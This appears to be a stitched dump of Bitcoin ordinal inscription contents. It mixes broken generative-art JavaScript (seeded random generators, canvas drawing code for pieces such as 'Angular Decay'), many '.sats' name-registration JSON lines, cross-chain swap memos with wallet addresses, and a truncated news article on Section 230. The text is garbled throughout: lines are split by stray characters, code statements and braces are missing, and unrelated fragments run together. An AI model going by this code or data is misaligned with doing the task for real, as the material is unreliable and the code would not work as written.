    <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/babylonjs/5.47.0/babylon.js"></script>
    <!-- paperjs@0.12.17
    <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/paper.js/0.12.17/paper-full.min.js"></script>
    <!-- regljs@2.1.0
    <script sandbox="allow-scripts" tM
ype="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/regl/2.1.0/regl.min.js"></script>
    <script type="text/javascript">
 Add your script here
 Add your script here
    <script id="snippet-random-code" type="text/javascript">
        let seed = window.location.href.split('/').find(t => t.includes('i0'));
        if (seed == null) {
            const alphabet = "0123456789abcdefghijklmnopqrstuvwsyz";
            seed = new URLSearchParams(window.location.search).get("seed") || Array(64).fill(0).map(_ => alphabet[(Math.random() * alphabet.length) | 0]).join('') + "i0";
            let pattern = "seed=";
            for (let i = 0; i < seed.length - pattern.length; ++i) {
                if (seed.substM
ring(i, i + pattern.length) == pattern) {
                    seed = seed.substring(i + pattern.length);
                    break;
        function cyrb128($) {
            let _ = 1779033703, u = 3144134277, i = 1013904242, l = 2773480762;
            for (let n = 0, r; n < $.length; n++) _ = u ^ Math.imul(_ ^ (r = $.charCodeAt(n)), 597399067), u = i ^ Math.imul(u ^ r, 2869860233), i = l ^ Math.imul(i ^ r, 951274213), l = _ ^ Math.imul(l ^ r, 2716044179);
urn _ = Math.imul(i ^ _ >>> 18, 597399067), u = Math.imul(l ^ u >>> 22, 2869860233), i = Math.imul(_ ^ i >>> 17, 951274213), l = Math.imul(u ^ l >>> 19, 2716044179), [(_ ^ u ^ i ^ l) >>> 0, (u ^ _) >>> 0, (i ^ _) >>> 0, (l ^ _) >>> 0]
        function sfc32($, _, u, i) {
            return function () {
                u >>>= 0, i >>>= 0;
                var l = ($ >>>= 0) + (_ >>>= 0) | 0;
                return $ = _ ^ _ >>> 9, _ = u + (u << 3) | 0, u = (u = u << 21 | u >>> 11) + (l = l + (i = i + 1 | M
0) | 0) | 0, (l >>> 0) / 4294967296
        // IMPORTANT: Instead of Math.random(), use this function mathRand() for random number generation.
        // This function generates a random number between 0 and 1 with on-chain seed.
        let mathRand = sfc32(...cyrb128(seed));
        html, body {
            margin: 0;
            padding: 0;
            max-width: 100%;
            max-height: 100%;
            margin: auto;
     overflow: auto;
            position: fixed;
            object-fit: contain;
            bottom: 0;
            left: 0;
            right: 0;
<script type="text/javascript">
    const rand = mathRand();
    function T1(rand) {
        // calculate rarity by yourself
        if (rand > 0.5) {
            return true;
    // window.$generativeTraits contain list traits for token
    // you need to populate a $generativeTraits object in the window object
    window.$generativeTraits = {
        "T1": T1(rand),
    console.log(window.$generativeTraits)
 Add your code here
nst container = document.createElement("div")
    // container.innerHTML = "<span>seed: " + seed + "</span><br>";
    // document.body.prepend(container)
    //License: Creative Commons Attribution-NonCommercial-ShareAlike 3.0 Unported License.
    //Author: @devhontran
    //Twitter: https://twitter.com/DevHontran
    //Website: https://hontran.dev
    const scaler = 1;
    let paper, border;
    let shadown = {x: -5, y: 5};
    let layers = [];
    let padding = 40;
    function cyrb128(str) {
= 1779033703, h2 = 3144134277,
            h3 = 1013904242, h4 = 2773480762;
        for (let i = 0, k; i < str.length; i++) {
            k = str.charCodeAt(i);
            h1 = h2 ^ Math.imul(h1 ^ k, 597399067);
            h2 = h3 ^ Math.imul(h2 ^ k, 2869860233);
            h3 = h4 ^ Math.imul(h3 ^ k, 951274213);
            h4 = h1 ^ Math.imul(h4 ^ k, 2716044179);
        h1 = Math.imul(h3 ^ (h1 >>> 18), 597399067);
        h2 = Math.imul(h4 ^ (h2 >>> 22), 2869860233);
        h3 = Math.imul(h1 ^ (h3M
 >>> 17), 951274213);
        h4 = Math.imul(h2 ^ (h4 >>> 19), 2716044179);
        return [(h1^h2^h3^h4)>>>0, (h2^h1)>>>0, (h3^h1)>>>0, (h4^h1)>>>0];
    function sfc32_c(a, b, c, d) {
        a >>>= 0; b >>>= 0; c >>>= 0; d >>>= 0;
        var t = (a + b) | 0;
        a = b ^ b >>> 9;
        b = c + (c << 3) | 0;
        c = (c << 21 | c >>> 11);
        d = d + 1 | 0;
        t = t + d | 0;
        c = c + t | 0;
        return (t >>> 0) / 4294967296;
    // return random value from [l -> r]
function consistentRand (seed, l, r) {
        const rand = sfc32_c(...cyrb128(seed.toString()));
        return l + rand * (r - l)
    function getRandomItem (listP, seed) {
        const pref = []
        for (const x of listP) pref.push(x)
        for (let i = 1; i < listP.length; i++) {
            pref[i] += pref[i - 1]
        for (let i = 0; i < pref.length; i++) pref[i] /= pref[pref.length - 1];
        // get random value from 0->1
        const rand = consistentRand(seed, 0, 1)
r (let i = 0; i < pref.length; i++) {
            if (rand < pref[i]) return i;
    function createRadialGradient(x, y, r, x1, y1, r1) {
        const grd = drawingContext.createRadialGradient(x, y, r, x1, y1, r1);
        grd.addColorStop(0,"#FFFFFF");
        grd.addColorStop(1,"#E5E5E3");
        drawingContext.fillStyle = grd;
        drawingContext.fillRect(0, 0, width, height);
    function artNosie(){
        const w = width * 1.2;
        const h = height * 1.2M
        paper = createGraphics(w, h);
        for(let i = 0 ; i< 100000; i++){
            let x = random(w);
            let y = random(h);
            let dotSize = 10.0*(noise(x/(width / 4), y/(height / 4))*2 - noise(x/width, y/height));
            paper.strokeWeight(random(0.25, 3));
            paper.stroke(random(20, 80), random(1+dotSize, 4+dotSize));
            paper.point(x, y);
    function generabox(col, pos, si){
        const layer = createGraphics(width, height);
ill(140, 178, 250, 56);
        layer.noStroke();
        layer.rect(pos.x + shadown.x, pos.y + shadown.y, si.w, si.h);
        layer.filter(BLUR, 3);
        layer.fill(col.r, col.g, col.b, col.a);
        layer.noStroke();
        layer.rect(pos.x, pos.y, si.w, si.h);
        layers.push(layer);
    function setup() {
        const hash = rand ? rand : Math.random();
        const fCol = {r: 255, g: 255, b: 255};
        const s = min(window.innerWidth, window.innerHeight)
        createCanvas(s,s);M
        for(let i=0; i<9; i++){
            const tHash = `${hash}_${i}`;
            const cyrHash = cyrb128(tHash);
            const mixHash_color_r = consistentRand(cyrHash[0], 0, 1);
            const mixHash_color_g = consistentRand(cyrHash[1], 0, 255);
            const mixHash_color_b = consistentRand(cyrHash[2], 0, 255);
            const mixHash_color_a = 255;//consistentRand(cyrHash[3], 100, 255);
            const sw = consistentRand(cyrHash[0],50, width / 2);
            const sh = consistentRaM
nd(cyrHash[3], 50, height / 2);
            const col = {r: mixHash_color_r, g: mixHash_color_g, b: mixHash_color_b, a: mixHash_color_a};
            const si = {w: sw, h: sh};
            const pos_x = consistentRand(cyrHash[1], padding, width- padding - si.w);
            const pos_y = consistentRand(cyrHash[2], padding, height- padding - si.h);
            const pos = {x: pos_x, y: pos_y}
            // console.log('___i', col, pos, si);
            generabox(col, pos, si);
        const borderSize = 30;
        border = createGraphics(width, height);
        border.fill(fCol.r, fCol.g, fCol.b, 255);
        border.noStroke();
        border.rect(0, 0, borderSize, height);
        border.fill(fCol.r, fCol.g, fCol.b, 255);
        border.noStroke();
        border.rect(width - borderSize, 0, borderSize, height);
        border.fill(fCol.r, fCol.g, fCol.b, 255);
        border.noStroke();
        border.rect(0, 0, width, borderSize);
        border.fill(fCol.r, fCol.g, fCol.b, 255)M
        border.noStroke();
        border.rect(0, height - borderSize, width, borderSize);
    function draw() {
        background('#ffffff');
        blendMode(BLEND);
        for(let i=0; i<9; i++){
            image(layers[i], 0, 0, width, height);
        blendMode(MULTIPLY)
        createRadialGradient(width / 2, height / 2, 0, width / 2, height / 2, height);
        blendMode(MULTIPLY);
        image(paper, 0, 0, width, height);
        image(border,M-
 0, 0, width, height);
    function windowResized() {
        const s = min(window.innerWidth, window.innerHeight)
        resizeCanvas(s, s);
 Add your code here
text/plain;charset=utf-8
text/plain;charset=utf-8
  "name": "venmo.sats",
  "npub": "npub14jff7xyg05f285yhjdtywz4qxyfvax2a3hmwzrdw6y3hdxevr93slfnvmy"
6j4ion:1.QmdYm9zyPYB4hqg4wUAn15ao3afw7H6etMNJcpqkgJ8anb3
FjDOUT:AC94D0D75174C02745E51E827EF79CDBF03EE25D9657582C52744F05FB49A73E
FjDOUT:8FB824C66EEC1CDF0FB8D98609D8B9D94AA0F24B7CCC23BFEDA8FB8D8EEFA7A9
Aj?=:ETH.ETH:0x9AC38F2E060F058C57A0898a788aD2B0DcE862CA:4596164::0
Created with GIMPd.e
CjA=:ETH.ETH:0x96Bb783b69EB98Ea0db6cB48A8626b1F727cE9F3:2051599:te:0
d/Foundry USA Pool #dropgold/
"3 %  % 3-7,),7-Q@88@Q^OJO^qeeq
"3 %  % 3-7,),7-Q@88@Q^OJO^qeeq
Bj@=:BNB.BNB:bnb172ud08w0jj756tp5w6k878tuaz8gxtj7re0tjg:15912066::0
Bj@=:ETH.ETH:0x20BaBc607eDc15EA801d5f03aCD3a284dB057f89:23438674::0
CjA=:ETH.ETH:0x13e50019E2581Bf6CAe75E18aDF56931F53B77c7:275218277::0
text/plain;charset=utf-8
  "name": "xapo.sats",
  "npub": "npub14jff7xyg05f285yhjdtywz4qxyfvax2a3hmwzrdw6y3hdxevr93slfnvmy"
text/plain;charset=utf-8
  "name": "villain.sats"
CjA=:ETH.ETH:0x646315c82DA3588947924f69c260E5d507E75F34:1893589:te:0
CjA=:ETH.ETH:0xC5803CAC0d55009f32D9E0395eA5d4Ca95283474:1324539:te:0
DjB=:BNB.BNB:bnb1ey99fu800f09jzf7a8vpt3hqt9dpen3pecp7lm:23457148:te:0
DjB=:BNB.BNB:bnb18e4lltttzkazlatsrct299fq3gsp60j96yr5xv:14396404:te:0
text/plain;charset=utf-8
+{"p":"sns","op":"reg","name":"museum.sats"}h!
text/plain;charset=utf-8
'{"p":"sns","op":"reg","name":"io.sats"}h!
text/plain;charset=utf-8
,{"p":"sns","op":"reg","name":"explore.sats"}h!
text/plain;charset=utf-8
,{"p":"sns","op":"reg","name":"analyze.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"M21.sats"}h!
text/plain;charset=utf-8
/{"p":"sns","op":"reg","name":"jumpcrypto.sats"}h!
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
&{"p":"sns","op":"reg","name":"?.sats"}h!
text/plain;charset=utf-8
&{"p":"sns","op":"reg","name":"%.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"deals.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"cart.sats"}h!
text/plain;charset=utf-8
-{"p":"sns","op":"reg","name":"automate.sats"}h!
text/plain;charset=utf-8
+{"p":"sns","op":"reg","name":"draper.sats"}h!
text/plain;charset=utf-8
/{"p":"sns","op":"reg","name":"webhosting.sats"}h!
text/plain;charset=utf-8
.{"p":"sns","op":"reg","name":"polychain.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"12312.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"guide.sats"}h!
text/plain;charset=utf-8
,{"p":"sns","op":"reg","name":"recipes.sats"}h!
text/plain;charset=utf-8
  "name": "aped.sats"
text/plain;charset=utf-8
+{"p":"sns","op":"reg","name":"secure.sats"}h!
text/plain;charset=utf-8
0{"p":"sns","op":"reg","name":"binancelabs.sats"}h!
text/plain;charset=utf-8
-{"p":"sns","op":"reg","name":"security.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"tower.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"jozef.sats"}h!
text/plain;charset=utf-8
  "name": "aniek.sats"
text/plain;charset=utf-8
  "name": "punked.sats"
text/plain;charset=utf-8
-{"p":"sns","op":"reg","name":"bargains.sats"}h!
text/plain;charset=utf-8
text/plain;charset=utf-8
2{"p":"sns","op":"reg","name":"animocabrands.sats"}h!
text/plain;charset=utf-8
'{"p":"sns","op":"reg","name":"...sats"}h!
text/plain;charset=utf-8
-{"p":"sns","op":"reg","name":"learning.sats"}h!
text/plain;charset=utf-8
+{"p":"sns","op":"reg","name":"wisdom.sats"}h!
text/plain;charset=utf-8
+{"p":"sns","op":"reg","name":"profit.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"xsat.sats"}h!
DjB=:ETH.ETH:0xBAA3266F5C24738E99Bc97F36c5e9691DcCe86a7:24176268:te:0
EjC=:ETH.ETH:0x4b9098f02d3DCb2C310f465CCd115E4C58f784dF:188014716:te:0
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"ngc.sats"}h!
text/plain;charset=utf-8
+{"p":"sns","op":"reg","name":"fabric.sats"}h!
text/plain;charset=utf-8
-{"p":"sns","op":"reg","name":"blueyard.sats"}h!
text/plain;charset=utf-8
,{"p":"sns","op":"reg","name":"dekrypt.sats"}h!
text/plain;charset=utf-8
-{"p":"sns","op":"reg","name":"continue.sats"}h!
text/plain;charset=utf-8
1{"p":"sns","op":"reg","name":"aminocapital.sats"}h!
text/plain;charset=utf-8
1{"p":"sns","op":"reg","name":"shimacapital.sats"}h!
text/plain;charset=utf-8
-{"p":"sns","op":"reg","name":"zhenfund.sats"}h!
text/plain;charset=utf-8
/{"p":"sns","op":"reg","name":"collabfund.sats"}h!
text/plain;charset=utf-8
4{"p":"sns","op":"reg","name":"fenbushicapital.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"cme.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"ecf.sats"}h!
text/plain;charset=utf-8
1{"p":"sns","op":"reg","name":"foundersfund.sats"}h!
text/plain;charset=utf-8
+{"p":"sns","op":"reg","name":"scalar.sats"}h!
text/plain;charset=utf-8
.{"p":"sns","op":"reg","name":"casascius.sats"}h!
text/plain;charset=utf-8
+{"p":"sns","op":"reg","name":"hashed.sats"}h!
text/plain;charset=utf-8
,{"p":"sns","op":"reg","name":"svangel.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"Fuck.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"19888.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"amani.sats"}h!
KjI=:BNB.TWT-8C2:bnb1cx5yy2dp8t2u0ax7eu4x22f6ak06nt670tsskt:52776815851:te:0
HjF=:BNB.BTCB-1DE:bnb16xhse49u5qjgtn2je3qm4de33hry0aus2yweut:2458562:te:0
text/plain;charset=utf-8
2{"p":"sns","op":"reg","name":"1confirmation.sats"}h!
text/plain;charset=utf-8
.{"p":"sns","op":"reg","name":"dividends.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"impay.sats"}h!
text/plain;charset=utf-8
0{"p":"sns","op":"reg","name":"gumicryptos.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"rot.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"usv.sats"}h!
text/plain;charset=utf-8
2{"p":"sns","op":"reg","name":"CoinMarketCap.sats"}h!
text/plain;charset=utf-8
5{"p":"sns","op":"reg","name":"arringtoncapital.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"emm.sats"}h!
text/plain;charset=utf-8
/{"p":"sns","op":"reg","name":"sequoiacap.sats"}h!
text/plain;charset=utf-8
6{"p":"sns","op":"reg","name":"
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"depay.sats"}h!
text/plain;charset=utf-8
0{"p":"sns","op":"reg","name":"xiaohongshu.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"ren.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"haa.sats"}h!
text/plain;charset=utf-8
'{"p":"sns","op":"reg","name":"UK.sats"}h!
text/plain;charset=utf-8
+{"p":"sns","op":"reg","name":"render.sats"}h!
text/plain;charset=utf-8
-{"p":"sns","op":"reg","name":"dongfang.sats"}h!
text/plain;charset=utf-8
'{"p":"sns","op":"reg","name":"CN.sats"}h!
text/plain;charset=utf-8
+{"p":"sns","op":"reg","name":"iPhone.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"fbg.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"chan.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"hmv.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"exx.sats"}h!
text/plain;charset=utf-8
+{"p":"sns","op":"reg","name":"BTCBTC.sats"}h!
text/plain;charset=utf-8
5{"p":"sns","op":"reg","name":"protocolventures.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"LOVE.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"gumi.sats"}h!
text/plain;charset=utf-8
.{"p":"sns","op":"reg","name":"benchmark.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"touch.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"1kx.sats"}h!
text/plain;charset=utf-8
/{"p":"sns","op":"reg","name":"multichain.sats"}h!
text/plain;charset=utf-8
/{"p":"sns","op":"reg","name":"AlchemyPay.sats"}h!
text/plain;charset=utf-8
,{"p":"sns","op":"reg","name":"okxweb3.sats"}h!
DjB=:ETH.ETH:0x07E28ee7bf345F5d30087ADc85853104a631F9cA:26667889:te:0
text/plain;charset=utf-8
,{"p":"sns","op":"reg","name":"badkids.sats"}h!
text/plain;charset=utf-8
  "name": "aec.sats"
text/plain;charset=utf-8
  "name": "aen.sats"
text/plain;charset=utf-8
  "name": "aem.sats"
text/plain;charset=utf-8
  "name": "ael.sats"
text/plain;charset=utf-8
  "name": "aej.sats"
text/plain;charset=utf-8
  "name": "aet.sats"
text/plain;charset=utf-8
  "name": "aev.sats"
text/plain;charset=utf-8
  "name": "aek.sats"
text/plain;charset=utf-8
  "name": "aeq.sats"
text/plain;charset=utf-8
  "name": "aei.sats"
text/plain;charset=utf-8
  "name": "aef.sats"
text/plain;charset=utf-8
text/html;charset=utf-8
<meta charset="UTF-8">
<title>Angular Decay</title>
<script id="snippet-random-code" type="text/javascript">
let seed = window.location.href.split('/').find(t => t.includes('i0'));
const alphabet = "0123456789abcdefghijklmnopqrstuvwsyz";
seed = new URLSearchParams(window.location.search).get("seed") || Array(64).fill(0).map(_ => alphabet[(Math.random() * alphabet.length) | 0]).join('') + "i0";
let pattern = "seed=";
for (let i = 0; i <M
 seed.length - pattern.length; ++i) {
if (seed.substring(i, i + pattern.length) == pattern) {
seed = seed.substring(i + pattern.length);
function cyrb128($) {
let _ = 1779033703, u = 3144134277, i = 1013904242, l = 2773480762;
for (let n = 0, r; n < $.length; n++) _ = u ^ Math.imul(_ ^ (r = $.charCodeAt(n)), 597399067), u = i ^ Math.imul(u ^ r, 2869860233), i = l ^ Math.imul(i ^ r, 951274213), l = _ ^ Math.imul(l ^ r, 2716044179);
return _ = Math.imul(i ^ _ >>> 18, 597399067), u = Math.imul(lM
 ^ u >>> 22, 2869860233), i = Math.imul(_ ^ i >>> 17, 951274213), l = Math.imul(u ^ l >>> 19, 2716044179), [(_ ^ u ^ i ^ l) >>> 0, (u ^ _) >>> 0, (i ^ _) >>> 0, (l ^ _) >>> 0]
function sfc32($, _, u, i) {
return function () {
var l = ($ >>>= 0) + (_ >>>= 0) | 0;
return $ = _ ^ _ >>> 9, _ = u + (u << 3) | 0, u = (u = u << 21 | u >>> 11) + (l = l + (i = i + 1 | 0) | 0) | 0, (l >>> 0) / 4294967296
let mathRand = sfc32(...cyrb128(seed));
<style>body {margin: 0px;} </style>M
<canvas id="target"></canvas>
<script type="text/javascript">
const rand = mathRand();
const rand2 = mathRand();
let sqpix,cp,ratio=0.707,bug=false;
if(rand<0.3){sqpix=0;zoom=false;return"Portrait";}
if(rand<0.6){sqpix=0;ratio=1.414;return"Lanscape";}
if(rand<0.95){sqpix=1;return"Square";}
sqpix=1;bug=1;return"Bugged";}
if(rand<0.07){cp=12;return "Paper";}
if(rand<0.14){cp=1;return "DPM";}
if(rand<0.21){cp=2;return "Fecktarn";}
if(rand<0.41){cp=4;return "Desert Drill";}
if(rand<0.5){cp=5;return "Urban";}
if(rand<0.6){cp=6;return "Navy";}
if(rand<0.7){cp=7;return "German Winter";}
if(rand<0.8){cp=8;return "Tree";}
if(rand<0.85){cp=9;return "Orange";}
if(rand<0.9){cp=10;return "Harris";}
if(rand<0.95){cp=11;return "Market";}
cp=0;return "Saint";}
window.$generativeTraits = {"View": T1(rand),"Pallet": T2(rand2) }
const container = document.createElement("div")
container.innerHTML = "<span>seed: " + seed + "</spM
let resizeTmr=null,aniFrame=null;
let ofw,ofh,sz,rz=1;
let gi=0,gj=0,drp=0,drawtot=2,bmp,artcols=[];
var tricount=0,tr=30;
var tx1=[],ty1=[],tx2=[],ty2=[],tx3=[],ty3=[];
var rx1=[],ry1=[],rx2=[],ry2=[],rx3=[],ry3=[];
const init = async () => {
window.addEventListener('resize', async () => {
clearTimeout(resizeTmr)
resizeTmr = setTimeout(async () => {
await layoutCanvas()
await layoutCanvas()
const layoutCanvas = async () => {
const wWidth=window.innerWidth
const wHeight=window.innerHeight
let cHeight=wHeight;
let cWidth=cHeight*ratio;
if(cWidth>wWidth){cWidth=wWidth;cHeight=cWidth/ratio;}
const canvas=document.getElementById('target')
canvas.width=2000*rz;
canvas.height=(2000*rz)/ratio;
canvas.style.position = 'absolute'
canvas.style.width = `${cWidth}px`
canvas.style.height = `${cHeight}px`
canvas.style.left = `${(wWidth - cWidth) / 2}px`
canvas.style.top = `${(wHeight - cHeight) / 2}pM
const drawCanvas = async () => {
if(!tried) setupart();
if (aniFrame) window.cancelAnimationFrame(aniFrame)
const canvas=document.getElementById('target')
const ctx=canvas.getContext('2d')
{let bx=ofw/500,by=ofh/500;
ctx.globalAlpha=0.05;
for(let f=10;f<30; f++){
for(let i=0;i<500; i++){
drawEllipse(ctx, bx*i + ri(3)*sz, by*gj+ ri(3)*sz, bx/2,bx/2,'#ffffff');
drawEllipse(ctx, bx*i + ri(3)*sz, by*gj+ ri(3)*sz, bx/2,bx/2,'M
if(gj>500) { drp=3; gj=0; }
for(let f=0;f<tc;f++){
if(bug) dl(ctx, tx1[f]*sz,ty1[f]*sz, tx2[f]*sz*sz,ty2[f]*sz, artcols[1], 1*sz);
else dl(ctx, tx1[f]*sz,ty1[f]*sz, tx2[f]*sz,ty2[f]*sz, artcols[1], 1*sz);
dl(ctx, tx2[f]*sz,ty2[f]*sz, tx3[f]*sz,ty3[f]*sz, artcols[1], 1*sz);
dl(ctx, tx1[f]*sz,ty1[f]*sz, tx3[f]*sz,ty3[f]*sz, artcols[1], 1*sz);}
for(let f=0;f<rc;f++){
dl(ctx, rx1[f]*sz,ry1[f]*sz, rx2[f]*sz,ry2[f]*sz, artcols[2], 1*sz);
,ry2[f]*sz, rx3[f]*sz,ry3[f]*sz, artcols[2], 1*sz);
dl(ctx, rx1[f]*sz,ry1[f]*sz, rx3[f]*sz,ry3[f]*sz, artcols[2], 1*sz);}
ctx.fillStyle = artcols[0];
ctx.fillRect(0,0,ofw,ofh);
mathRand = sfc32(...cyrb128(seed));
tc=0;rc=0;tricount=0;tr=30;bmp=0;
triharder(500, 500, 500+rir(-tr,tr), 500+rir(-tr,tr));
tricount=1000;tr=rir(10,50);dor=true;bmp=0;
triharder(500, 500, 500+rir(-tr,tr), 500+rir(-tr,tr));
aniFrame = window.requestAnimationM
function triharder( x1,y1, x2,y2)
if(tricount>2500) return;
var x3=x1+rir(-tr,tr);
var y3=y1+rir(-tr,tr);
if(x3<0){x3+=tr;bmp++}
if(x3>1000){x3-=tr;bmp++}
if(y3<0){y3+=tr;bmp++}
if(y3>1000/ratio){y3-=tr;bmp++}
if(dor) {rx1[rc]=x1;ry1[rc]=y1;rx2[rc]=x2;ry2[rc]=y2;rx3[rc]=x3;ry3[rc]=y3;rc++; }
else {tx1[tc]=x1;ty1[tc]=y1;tx2[tc]=x2;ty2[tc]=y2;tx3[tc]=x3;ty3[tc]=y3;tc++;}
if(bmp>15){bmp=0; x3=y3=500;x1=rir(500,500+tr);y1=rir(500,500+tr);x2=rir(500,500-tr);y2=rir(500,500-M
triharder(x3,y3, x1,y1);
if(ri(100)>20) triharder(x3,y3, x2,y2);
const autoDownloadCanvas = async () => {
const element = document.createElement('a')
element.setAttribute('download',`Angular-${ofw}x${ofh}-${seed}`)
element.style.display = 'none'
document.body.appendChild(element)
let imageBlob = null
imageBlob = await new Promise(resolve => document.getElementById('target').toBlob(resolve, 'image/png'))
element.setAttribute('href', window.URL.createObjectURL(imageBlob, {
document.body.removeChild(element)
document.addEventListener('keypress', async (e) => {
e = e || window.event
if (e.key === 's') autoDownloadCanvas()
if (e.key === 'h') { rz++;if(rz>5)rz=1;drp=0;gi=0;gj=0;await layoutCanvas() }
function drawEllipse(ctx,x,y,rx,ry,fill) {
ctx.ellipse(x, y, rx, ry, 0, 0, 2 * Math.PI);
if (fill) {ctx.fillStyle = fill;ctx.fill();}
function dl(ctx,lx,ly,ex,ey,stroke,width) {
if (stroke) {ctx.strokeStyle = stroke;}
if (width) {  ctx.linM
ctx.beginPath();ctx.moveTo(lx,ly);ctx.lineTo(ex,ey);ctx.stroke();
if(cp==12)artcols=['#EDECE0','#303030','#880808'];
if(cp==0) artcols=['#F0BEB2','#F25B40','#3A8D3B'];
if(cp==11)artcols=['#4F97BA','#F9E1B5','#BD2C41'];
if(cp==1) artcols=['#25201E','#D3A252','#686C22'];
if(cp==2) artcols=['#B4CBCA','#1F5FB3','#355026'];
if(cp==3) artcols=['#D1C7C5','#6E5247','#8D695D'];
if(cp==4) artcols= ['#E4DBBE','#8BB8B3','#AF799A'];
if(cp==5) artcols= ['#B8B8B3','#474747','M
if(cp==6) artcols= ['#A6B2C7','#323642','#394A69'];
if(cp==7) artcols= ['#E6E6E4','#343523','#B2B2AD'];
if(cp==8) artcols= ['#A9A18E','#706B5C','#606A4D'];
if(cp==9) artcols= ['#EDECE0','#944645','#F25D34'];
if(cp==10) artcols= ['#9FA6A4','#77694E','#B54933'];
function ri( x){  return Math.floor(mathRand()*x);}
function rir(x,y){ let nr = (y - x) ; return  Math.floor((mathRand()*nr) + x); }
d/Foundry USA Pool #dropgold/
PjLM=:ETH.USDT-EC7:0x932C5aE3Adae304013C9292E71aFcdE69E3aeD13:101312738321:xdf:50
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
  "name": "SatsHunter.sats"
text/plain;charset=utf-8
  "name": "sathunter.sats"
FjDOUT:B2E4EBD8C5BA290DB6AA900EDC5FDC77FC2E077629F11E51122DF732633DCF62
text/plain;charset=utf-8
  "name": "psg.sats"
text/plain;charset=utf-8
1{"p":"sns","op":"reg","name":"1111
text/plain;charset=utf-8
  "name": "ahd.sats"
text/plain;charset=utf-8
  "name": "ahc.sats"
text/plain;charset=utf-8
  "name": "ahe.sats"
text/plain;charset=utf-8
  "name": "AndyGo.sats"
text/plain;charset=utf-8
text/plain;charset=utf-8
  "name": "reich.sats"
text/plain;charset=utf-8
  "name": "aprycot.sats"
text/plain;charset=utf-8
  "name": "0xaa.sats"
Mined by AntPool964K
text/plain;charset=utf-8
  "author": "David McCabe",
  "title": "Supreme Court Poised to Reconsider Key Tenets of Online Speech",
  "url": "https://www.nytimes.com/2023/01/19/technology/supreme-court-online-free-speech-social-media.html",
  "body": "# Supreme Court Poised to Reconsider Key Tenets of Online Speech\n\n**The cases could significantly affect the power and responsibilities of social media platforms. For years, giant social networks like Facebook, Twitter and Instagram have operated under two crucM
ial tenets.**\n\nThe first is that the platforms have the power to decide what content to keep online and what to take down, free from government oversight. The second is that the websites cannot be held legally responsible for most of what their users post online, shielding the companies from lawsuits over libelous speech, extremist content and real-world harm linked to their platforms.\n\nNow the Supreme Court is poised to reconsider those rules, potentially leading to the most significant reset of the doctrines M
governing online speech since U.S. officials and courts decided to apply few regulations to the web in the 1990s.\n\nOn Friday, the Supreme Court is expected to discuss whether to hear two cases that challenge laws in Texas and Florida barring online platforms from taking down certain political content. Next month, the court is scheduled to hear a case that questions Section 230, a 1996 statute that protects the platforms from liability for the content posted by their users.\n\nThe cases could eventually alter the M
hands-off legal position that the United States has largely taken toward online speech, potentially upending the businesses of TikTok, Twitter, Snap and Meta, which owns Facebook and Instagram.\n\n
s a moment when everything might change,
 said Daphne Keller, a former lawyer for Google who directs a program at Stanford University
s Cyber Policy Center.\n\nThe cases are part of a growing global battle over how to handle harmful speech online. In recent years, as Facebook and other sites attracted billionsM
 of users and became influential communications conduits, the power they wielded came under increasing scrutiny. Questions arose over how the social networks might have unduly affected elections, genocides, wars and political debates.\n\nIn some parts of the world, lawmakers have moved to rein in the platforms
 influence over speech. Last year, European legislators approved rules that require internet companies to carry out procedures for taking down illicit content and to be more transparent about how they recomM
mend content to people.\n\nIn the United States, where freedom of speech is enshrined in the First Amendment, there has been less legislative action. While lawmakers in Washington have grilled the chief executives of the tech giants over the past three years about the content they take down, proposals to regulate harmful content haven
t gotten traction.\n\nPartisanship has made the logjam worse. Republicans, some of whom have accused Facebook, Twitter and other sites of censoring them, have pressured the platformM
s to leave more content up. In contrast, Democrats have said the platforms should remove more content, like health misinformation.\n\nThe Supreme Court case that challenges Section 230 of the Communications Decency Act is likely to have many ripple effects. While newspapers and magazines can be sued over what they publish, Section 230 shields online platforms from lawsuits over most content posted by their users. It also protects platforms from lawsuits when they take down posts.\n\nFor years, judges cited the law M
in dismissing claims against Facebook, Twitter and YouTube, ensuring that the companies did not take on new legal liability with each status update, post and viral video. Critics said the law was a Get Out of Jail Free card for the tech giants.\n\n
t have any liability at the back end for any of the harms that are facilitated, they have basically a mandate to be as reckless as possible,
